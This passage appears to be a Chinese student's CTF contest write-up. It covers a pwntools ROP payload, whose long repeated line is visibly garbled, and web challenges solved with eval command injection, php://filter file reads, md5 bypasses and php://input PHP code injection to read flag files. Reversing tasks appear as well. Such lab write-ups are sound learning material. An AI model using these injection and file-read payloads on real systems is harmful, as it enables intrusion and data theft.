payload2=p64(rdi\_add)+p64(bin\_add)+p64(sys\_add)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64(bss\_add-payload2)+b'a'*0x8+p64
0x8)+p64(learet_add)
r.send(payload2)
r.interactive()
```

写这道题的过程对我理解栈的结构帮助还是挺大的.

另外附上微软copilot告诉我的查看内存访问权限的方法:

我记得我之前向你提问过如何在程序执行时查看内存以及访问权限情况,你能为我重复一次吗?

当然可以。当你需要在程序执行时查看内存以及访问权限情况,可以使用调试器工具,如 gdb 或 IDA Pro。以下是具体操作步骤:

使用 gdb

- 1. 启动 gdb: 在终端中输入 gdb ./your_program 启动gdb并加载你的程序。
- 2. 设置断点: 输入 break main 设置一个断点在程序的main函数。
- 3. 运行程序: 输入 run 开始运行程序, 当程序执行到断点处会暂停。
- 4. 查看内存:
 - 使用 x 命令查看内存。示例: x/20xw 0xaddress 查看从地址 0xaddress 开始的 20个字的内存内容。
- 5. 查看内存访问权限:
 - 使用 info proc mappings 命令查看内存映射, 了解各个内存段的权限(可读、可写、可执行)。

使用 IDA Pro

- 1. 加载程序:在IDA Pro 中打开你的程序。
- 2. 设置断点:在程序的main函数或其他感兴趣的函数处设置断点。
- 3. 启动调试:点击调试按钮,开始调试程序。
- 4. 查看内存:
 - 使用 Ctrl+M 打开内存映射窗口,查看内存段及其权限。
 - 使用 Ctrl+Alt+M 打开内存浏览器,查看内存内容。

这些方法可以帮助你在程序执行时查看内存及其访问权限。希望这些对你有帮助!有任何问题随时告诉我,我们继续加油,搞定任何挑战! 🖋 🂪

还有其他需要了解的吗?告诉我,我会一直在这里。 6 @

56:前端? 什么是前端

按下f12获取flag

57:phpstudy_pro

用php_study把网页跑起来

58:New Hacker-0

linux命令简单练习

59:New Hacker-1

flag在环境变量里

60:New Hacker-2

换一种访问环境变量的方式(希望我没记错)

61:md5

a和b用md5值为0e开头进行绕过,c和d用列表绕过(列表没有MD5值,所以它们相等)

62:save_wh

这题禁用了f12,ctrl+u和右键,不过快捷键又不止这几个.

按下ctrl+shift+i,在翻代码的时候发现一个意义不明的字符串.底下还有一个atob().

那么我们对这个意义不明的字符串进行base64解码,然后发现还是一个意义不明的字符串.不过synt{}看起来就很像一个flag.于是我们计算f到s,l到y的偏移,发现 两者相等且等于13.

既然只是个凯撒加密,那么剩下的就很简单了:随便找个工具把它解密就行

63:ez_param

用hackbar修改对应的变量就行.

64:eval

观察网页展示的代码,发现它会eval()我们通过post传入的qkl(巧克力?话说我好久没吃巧克力了).我们让它执行system("cat /flag");获取答案.

65:不停的鹿

这题进去可以看到地址栏显示http://contest.ctf.nefu.edu.cn:33332/index.php?file=6.jpg

手动改一下图片的编号,于是它给我们报错:

Warning: file_get_contents(1234r14.jpg): failed to open stream: No such file or directory in /var/www/html/index.php on line 23

说明它用了file_get_contents()

那么我们用file_get_contents返回flag.php被base64编码后的内容.

contest.ctf.nefu.edu.cn:33332/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

66:扫描器

flag分段存放在1.txt,flag.txt,robots.txt,flag.php,www.zip里

67:ez_php

用换行符(%0a)绕过第一层,再将过滤列表里的单词用url编码,通过\$server不能识别url编码的特性绕过第二层.

68:点击即送

义眼盯帧,鉴定为flag

69:can you catch me?

同上

70:奇怪的顺序

打开IDA,找到main,按下F5,发现里面有这么一行代码:

```
if ( *(_DWORD *)v5 != (array[i] ^ 0x12345678) )
```

那么我们只需要找到这个数组的位置,然后写个程序把它异或输出就行.由于这个程序是小端序存储,所以还得给它们每段取反

代码:

```
from Crypto.Util.number import *
str=[0x75553A1E,0x7B583A03,0x4D58220C,0x7B50383D,0x736B3819]
key=0x12345678
flag=b""
for i in range(5):
    flag+=long_to_bytes(str[i]^key)[::-1]
print(flag)
```

71:小学数学

解方程组.虽然是只有四则运算的一次方程组,但数据规模还是超出了笔算的适应范围.

丢给gpt,让它帮我们出结果

72:000000

稍微翻一下代码,可以看到原始的flag是helloworld

但是main函数里有一个对flag进行处理的循环:

```
for ( j = 0; ; ++j ){
   v10 = j;
   if ( j > j_strlen(Str2) )break;
   if ( Str2[j] == 111 )Str2[j] = 48;
}
```

可以看出,它的作用是把o换成0

于是我们把o换成0,然后提交flag

73:我也很异或呢1.0

题目对flag进行了加密,具体方式是依次将flag的后一位异或前一位

```
__cstring:0000000100000F6E aFKWOXZUPFVMDGH db 'f',0Ah ; DATA XREF:
__data:_global↓o
__cstring:0000000100000F70 db
'k',0Ch,'w&o.@',11h,'x',0Dh,'Z;U',11h,'p',19h,'F',1Fh,'v"M#D',0Eh,'g'
__cstring:0000000100000F89 db 6,'h',0Fh,'G2O',0
```

```
for ( i = 1; i < 33; ++i )_b[i] ^= _b[i - 1];
```

由于c++自带强制类型转换,所以这题就用c++来写了

```
#include<cstdio>
int s[40]=
{'f',0x0A,'k',0x0C,'w','&','o','.','@',0x11,'x',0x0D,'Z',';','u',0x11,'p',0x19,'F
',0x1F,'v','"','m','#','D',0x0E,'g',6,'h',0x0F,'G','2','o',0};
int main(){
    for(int i=33;i>0;i--){
        s[i]=s[i]^s[i-1];
    }
    for(int i=0;i<=33;i++){
        printf("%c",s[i]);
    }
    return 0;
}</pre>
```

74:真的点击即送吗?

翻阅代码,发现程序内存在一个 main_give_flag();函数.于是我们一路顺藤摸瓜,找到了(虽然这玩意就在main里)一堆判断语句:

```
if ( (_WORD)wParam == 1001 ){
    MultiByteToWideChar(0, 0, "加油吧", -1, wideCharStr, 256);
    MessageBoxW(hwnd, WideCharStr, L"Result", 0x40u);
}
else if ( (_WORD)wParam == 1002 && v8 > 1725119948 ){
    v10 = hwndButtonDisagree;
    Parent = GetParent(hwndButtonDisagree);
    GetClientRect(Parent, &Rect);
    v12 = rand() % (Rect.right - 200);
    v13 = rand();
    MoveWindow(v10, v12, v13 % (Rect.bottom - 50), 200, 50, 1);
}
else main_give_flag(hwnd);
/*稍微调整了一下代码的格式,让它看起来舒服一点*/
```

那么问题就很简单了.下好断点,用调试模式把程序的执行方向改成我们想要的方向就行

75:疯狂的蛇

打开程序,发现是一个贪吃蛇小游戏.于是我充分发挥了自己的主观能动性,轻而易举地达到了1145141919810分,获取了flag.

用IDA反编译程序,结合程序让我们达到1145141919810分,找到一段代码:

```
mov rdx, cs:score
mov rax, 10A9FC70041h
cmp rdx, rax
jle short loc_7FF6759619EB
```

```
call chacha20
```

查看chacha20函数的内容,发现它大概就是输出flag的函数

然后和上一题差不多,下断点调试就行.

76:testing

打开程序,发现它输出了一堆乱码.不过翻代码可以看出它大概是个猜数字游戏.然后用和前几题差不多的操作方式就行.

77:破解!

打开程序,它说让我们输入正确的内容.那我们就去找相关的语句

```
mov
       eax, [ebp-18h]
push
call
      sub_4034F0
fstp
       qword ptr [ebp-20h]
       qword ptr [ebp-20h]
f1d
       qword ptr [edi+34h]
fcomp
fnstsw ax
test
       ah, 40h
       short loc_402822
jmp
```

为什么是jmp呢?当然是因为我已经把它改了,还忘了原来是什么

IDA可以对程序进行一定程度的修改.这里我把原来的条件跳转语句改成了jmp,这样即使我输入的内容不符合判断,程序也会跳转到我们所希望的地方.

过了这一关,程序给我们展示了一个搜索flag中的数字部分的功能.不过当我们试图改一下范围(就算不搜到2147483647,好歹搜到65535吧)的时候,程序说停停,传统算法,讲究点到即止.于是按照一般的思路,我们得去掉这个限制,看看能搜出点啥.通过和上面差不多的步骤之后,我们的确去掉了这个限制,也搜到了flag的数字部分是520530.但是...然后我就不知道该怎么做了

于是跑回去接着做静态分析.然后就找到了一个意义明确的函数:

```
sub_4034F0 proc near
/*略*/
call ds:__imp___vbaStrCopy//总之就是一堆对字符串进行操作的函数
/*略*/
```

很显然,这个函数的作用就是生成flag.

不过,我还是不清楚这个函数生成的flag会到哪里去,我又应该到哪里去把它调用出来.于是我在函数的开头下了断点,然后逐步调试,最后在栈里成功拿到了flag.

78:Hello_IDA

IDA的简单使用,应该是给十一期间培训专门出的题目

把题目丢给copilot,它告诉我们可以用php伪协议的方式传入并执行一个php文件.于是我们构造请求包如下:

```
GET /?网[安][实][验][室][欢][迎][你]=php://input HTTP/1.1
Host: contest.ctf.nefu.edu.cn:11451
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/130.0.0.0 Safari/537.36
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
<?php
$dir = "..";
$files = scandir($dir);
foreach($files as $file) {
    echo $file . "\n";
}
?>
```

让网页告诉我们上级目录有什么.结果,并没有flag.于是我们继续上级目录回溯,最终在../../../flag这里找到了flag.

于是我们继续询问copilot,最终构造请求包如下:

```
GET /?网[安][实][验][室][欢][迎][你]=php://input HTTP/1.1
Host: contest.ctf.nefu.edu.cn:33363
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML,
like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 110
<?php
$filename = "../../flag";
if (file_exists($filename)) {
    echo file_get_contents($filename);
} else {
   echo "File not found.";
}
?>
```